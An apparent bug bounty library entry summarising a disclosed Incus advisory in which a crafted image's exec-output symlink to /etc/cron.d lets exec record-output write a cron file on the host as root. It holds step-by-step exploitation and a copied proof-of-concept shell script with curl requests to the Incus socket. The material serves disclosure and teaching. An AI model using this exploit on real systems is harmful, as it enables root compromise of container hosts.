# Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

Crafted Incus image ships an exec-output symlink to /etc/cron.d, so exec record-output writes attacker-controlled cron file on host, yielding root RCE.

- Payout: Research
- Severity: critical
- Program: Incus
- Found by: antifob
- Disclosed: 2026-06-26
- CVE: CVE-2026-48750
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-73hr-m85f-64v9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-73hr-m85f-64v9
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:path-traversal vuln:privilege-escalation vuln:rce

**Target:** Incus daemon image unpacking and /instances/$name/exec record-output handling
**Root cause:** Image unpacking preserves top-level symlinks, so exec-output can be a symlink; instance_exec.go's os.Mkdir tolerates its existence and os.OpenFile follows the symlink when writing exec_UUID.stdout/stderr.
**Steps:**
1. Export a base image: `incus image export $basefp $tmpdir/img`
2. Unpack, then `rm -rf exec-output; ln -s /etc/cron.d exec-output`, repack and `incus image import`
3. Launch container from crafted image and wait for IP
4. POST to `/1.0/instances/afw-exec-output/exec` with `{"command":["/bin/sh","-c","echo * * * * * root id >/afw-exec-output"],"record-output":true}`
5. Wait on the returned operation; cron file `exec_UUID.stdout` lands in /etc/cron.d on host
**How found:** Noticed image unpacking extracts top-level symlinks as-is, then read instance_exec.go and saw os.Mkdir continues when exec-output exists and os.OpenFile follows the symlink.
**Exploitation:** Attacker supplies a crafted image whose exec-output is a symlink to a host directory (e.g. /etc/cron.d). Any exec with record-output:true writes exec_UUID.stdout containing the command's stdout into that directory; a cron-formatted stdout line executes as root on the host.
**Escalation:** Symlink target selection turns constrained file creation into arbitrary host command execution via cron.d.
**Insight:** When a container/VM manager unpacks images, check whether top-level symlinks survive extraction and whether later code paths use Mkdir/OpenFile on predictable names inside that directory — a symlinked state dir converts a benign output-recording feature into host file write.

## Proof of concept (copied exactly from the original report)

**Shell script repacking image with exec-output symlink**

```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
```

**REST exec request with record-output to write cron file**

```
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
```

